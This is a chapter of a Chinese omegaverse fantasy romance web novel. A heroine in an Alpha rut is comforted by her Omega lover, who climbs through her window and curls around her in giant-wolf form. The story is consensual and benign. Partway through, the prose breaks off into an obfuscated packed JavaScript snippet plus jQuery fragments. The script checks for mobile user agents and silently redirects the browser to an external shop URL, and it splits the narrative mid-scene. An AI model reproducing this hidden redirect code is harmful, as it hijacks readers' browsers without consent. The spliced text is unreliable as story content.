38.无法入睡的诚实
作品:《关于我转生女A不如成为恶龙这件事》 阿辻翠无法入睡。
哈,这究竟是什么样的一天呐,太多灾多难了。
她怎么也没想到,自己那消失多年的易感期居然会直接在当晚找上门来。
Alpha的易感期不像Omega的发情期具有周期,它的发生与持续时间都充满了随机性,是颗不知何时会引爆的炮弹。
主要诱因与极端的生理心理状态有关:剧烈的战斗兴奋,极端的精神压力,严重的身体创伤后的应激反应,或受到Omega发情期信息素的强烈诱导。
就比如说……赫尔德的发情期?对欲望的强行忍耐?与赤羽恐鸟间血腥的生死搏杀?以及,她好像也算身受重伤?
哈哈,全对全对。
能把触发条件收集这么齐全倒也难得,都够列入索拉瑞思学者的学术论文里当经典反例了。
最开始,格温兰在阿辻翠醒来后发现她的体温异常升高。不过那个时候她刚从昏迷状态醒来,症状不明显根本没往这方面想。
然后是感觉到一种莫名的焦躁和空虚感,不过这也很容易被归因为战后的疲惫与饥饿。
但当她回到家,被空间中与紧紧拥抱后的枫糖味包围时,阿辻翠才意识到了自己的不对劲。
她感觉自己发烧了。
手心冒汗,指尖开始不受控制地颤抖,一股狂躁热意从体内升腾而起冲击大脑。她的呼吸随着不正常的心跳变得急促滚烫。
每一次的吸气都能闻到空气中余留的枫糖甜味,这更化作了催化剂让她体内的躁动愈发剧烈,叫嚣着还想要更多,更多更多!
此时此刻,阿辻翠彻底意识到这是自己的易感期前兆。
对此,她顿觉两眼一黑。显而易见,这比单纯的发烧更糟糕。
赫尔德前脚才试探说想要被她完全标记并被她义正言辞地拒绝,后脚她就要进入渴望占有标记Omega的易感期。
这中间的微妙时间差让她自己都感觉荒谬到想笑。
真服了。
Alpha的身体总是这样足够诚实,胳膊肘包往外拐,绝不与大脑一条心。
而她的Omega恋人……阿辻翠几乎能想到,在得知她的欲望后怕不是会欣然接受,甚至接受强迫——他能不主动诱惑就算帮忙。
好好好,就这么喜欢给她的理智上强度是吧。
她暴躁地想着。
……喂!这就暴躁起来了是吧?
阿辻翠深吸一口气,甩了甩已经开始干烧到隐痛的脑袋试图让自己冷静。
首先,物理隔绝。还好现在已经与赫尔德告别回到了二楼。
其次,按照数年前独自熬过易感期的记忆,她必须在初期就立刻采取措施。
想到这儿,阿辻翠仰头就给自己灌了一整瓶高浓度静滞剂,然后蒙头把自己严严实实埋进盖毯里。
睡一觉就会好很多……没事的,会好的,会好的吧?
她闭着眼睛,一遍遍自我催眠。
毯子里很暗,带着一点重量,像个隔绝外界的狭小洞穴,感觉很安全。
静滞剂开始发挥作用,那种令人发狂的燥热感稍微缓解。
阿辻翠蜷缩起身体,意识开始在清醒与混沌的边缘徘徊,缓缓潜入深海。
时间不知过了多久,阿辻翠在混沌的睡意中听到了敲门声。
叩叩,声音不大。
但烦死了。她烦躁地用毯子捂住头,没动。
敲门声停了一会儿好像在等待回应,然后又叩叩响起,比刚才更坚持了。于是阿辻翠也更坚持地把自己裹得更紧。
它重复了好一阵,终于停止。
就在她刚松了口气准备重新入睡时,敲击声却又紧接着响起。
笃笃,笃笃。
比刚才更轻也更清脆,这次的声音来源不是门,而是窗户。
睡着了睡着了,没听见别敲了!为什么这么执着?
自我隔绝的恶龙在黑暗巢穴中磨了磨牙。
过了没多久,或许是声音的制造者也没了耐心,敲击声消失,传来了从外部破坏窗户锁扣的咔哒轻响。
夜晚的风第一个钻了进来,将窗帘吹得高高扬起。
月光也跟着涌进来,给予了这个关着浓郁艾草茶气息的房间一抹柔色光线。
阿辻翠警惕地掀开毯子的一条缝,露出一只眼睛,向外窥探。
只见一名青年正单手撑着窗框,其灰色发丝在月光下晕着圈银色光晕,敞着领口的衬衣被晚风吹得偏一侧鼓起,勾勒出宽阔肩膀和劲瘦的腰身。
他修长的腿往前一迈,便以极其矫健的姿态潇洒利落地从窗户外翻了进来,双脚落地时几乎没有发出声音。
“翠?”他的声音很轻,金色的眼睛穿透黑暗精准地寻了过来。
阿辻翠立刻把掀起的缝隙严实堵上,整个人缩成一团,她决定原地装死。
“喂,我都已经看见你眼睛了,不可以耍赖!”青年边说边走到床边。
他有些好笑地看着那鼓起的一团,伸手想掀开盖毯。
掀,结果没掀起来。
在寂静的房间中,两人开启了一场无声且幼稚的拔河比赛。
外面的人用了点力气,毯子动了一点,里面的人就更用力地拽回来。
赫尔德再拉,阿辻翠再拽。
“翠,我还在生气!你再不松手,我真的会更生气的。”赫尔德的话语里透出威胁,更多的则是连自己都未察觉的无奈笑意。
不过这招奏效。
里面人的力道似乎松了松,赫尔德趁机发力一把掀开毯子。
阿辻翠露出头来,她喘息着,脸颊泛着不正常的潮红。
汗水打湿的黑色乱发湿漉漉贴在额头,总是冷静的黑色眼睛中蒙着一层水雾,眼神涣散而焦躁。
她没什么笑容地斜睨了青年一眼,眼神凶凶的。
可配合上她脸上的绷带就又完全不像恶龙,而是一只独自舔舐伤口的炸毛黑猫了。
赫尔德:“……”
嘶,被凶了,但……有点可爱?哈,他也是没救了。
“你怎么来了?”她的声音很哑。
“我忘了拿东西,比如我的心什么的。”赫尔德随口胡诌,“然后发现你屋子里还亮着灯。”
“……我没开灯。”
“哦,那就是月亮吧。”他咧开嘴角坏笑了一下,“其实是我闻到了你的味道,所以来看看。”
说着,赫尔德想摸摸她的额头,结果手刚伸出来就被阿辻翠低吼了一声。
“别碰!”她向后缩了缩,充满了警惕与抗拒。
被警告者挑眉,手在空中了停顿一下,但还是顺从地收回了手。
“……快走。快回去睡觉,我才不想害得你明天迟到。”她又把盖毯拉上来蒙住自己的头,闷闷的声音从里面传来。
“是我忘记说了?城主特批了我们一段时间轮流休整。而且,我为什么要走?”赫尔德在床边坐下,轻拍了拍鼓包,直接戳破了现在的情况。
“我都说了我能闻到你,你易感期了,翠。”
毯子里沉默着,只能听到她略显急促的呼吸声。
一直过了好半天才有动静传来,“所以我才让你快走。我喝了静滞剂,睡一觉就好。离我远点……”
“什么睡一觉就好啊,你以为睡觉能倒退时间吗?”虽说对方看不见,赫尔德还是举起双手表示投降。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791454|186964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你还受着伤呢,我才不会对伤员做什么。放心,我可是喝了静滞剂才下来的。”
“……你喝了静滞剂?”
“对啊,我就猜你这老古板不会想在这时候标记我的。”他理所当然,语气温柔了下来。
“我只是想陪在你身边。别总是一个人面对啊,你需要我吧,翠?”
“……”毯子窸窣地动了下,像里面的人在激烈挣扎。
“或者,我换一种形态也行?如果和野兽在一起能更令你安心的话。”
话音落下,房间里传来了阵骨骼生长的轻响。
赫尔德的身形在月光下快速变化,肌肉贲张,骨架拉升,毛皮如潮汐上涨。
转眼间高大的青年就变成了头足一人多高的灰色荒野狼。
狼通体覆盖着铅灰色蓬松皮毛,并非黯淡的灰,而是具有金属色泽,是在月色下如水银般冷冽流动的光。
他的头颅高昂,三角形的立耳高高竖起,一双充满野性的金色兽瞳在黑暗中如两池火焰融化的黄金,透着与生俱来的桀骜与纯粹的光芒。
现在,这头威风凛凛的帅气巨狼试图跳上床,在阿辻翠身边团成一个毛茸茸的饺子。
可惜他的体型太大,还没起跳狼耳朵就顶到了天花板。前爪刚搭上床沿,木床就不堪重负地发出了嘎吱惨叫。
灰色巨狼动作一僵,只好退下来委委屈屈地蹲在地板上,把巨大的脑袋搁在床沿,嘴筒子时不时拱着床上的隆起。
阿辻翠被拱烦了,也担心再这样下去床早晚要塌,终于扒开一条缝盯着它,“赫尔,你干什么呢?”
巨狼又拱了拱她,这次还夹着嗓子发出可怜兮兮的呜咽声,撒娇一样。
“原来你狼形态也会散发信息素啊,赫尔。”她吸了吸鼻子。
不知道是不是错觉,此时的枫糖好像经过了烘烤,有种被阳光晒过皮毛的温暖气息。
巨狼继续低头拱她,蓬松的大毛尾巴在地板上来回扫着,发出有力的啪啪声,摆出了副理直气壮的架势。
这算什么?赖在门口不走的巨型修勾吗?
一人一狼对视了一会儿。
阿辻翠叹了口气,算了。
她慢慢掀开毛毯,探出半个身子。巨狼立刻抬头,两盏金色兽瞳亮晶晶地望她。
阿辻翠伸出双臂,想环抱住他的脖子。
巨狼快速又温顺地低下头,让她可以轻易抱住自己,看上去就像他主动钻进她怀里去一样。
灰色的狼,温暖又毛茸茸的,是一头散发着甜甜气味的,她的狼。
阿辻翠把脸埋进他颈部的厚实毛毛里,足够温暖的体温与香香的枫糖味瞬间包裹住她,几乎完全替代了毛毯的作用。
所有的焦躁不安与压抑的本能,都在顷刻的温暖中得到了抚慰。
“……谢谢。”她轻声说,声音小得几乎听不见。
谢谢你的陪伴,谢谢你非要闯进来又非要留下。
谢谢你……愿意尊重与守护,我那或许过于固执的可笑原则。
巨狼发出满足的哼唧声,他用毛茸茸的大毛尾巴盖住她,又用吻部温柔地顶了顶她的头发。
然后庞大的身体盘成了一个椭圆形饺子,将她裹藏在中心。
黑暗,温暖,又全然接纳,这里应该很安全吧。
她闭上眼睛,手指深深埋进蓬松皮毛里感受着这份具有真实温度的陪伴。
阿辻翠陷入了名为赫尔德的巨狼的柔软怀抱,耳畔是沉稳有力的心跳与平稳的呼吸起伏,像一首无声的安眠曲,安抚着那份源于本能的暴躁。
就这样,穿过窗户而来的月光静静洒过来,将一人一狼笼罩在一片银白色的朦胧光晕之中。

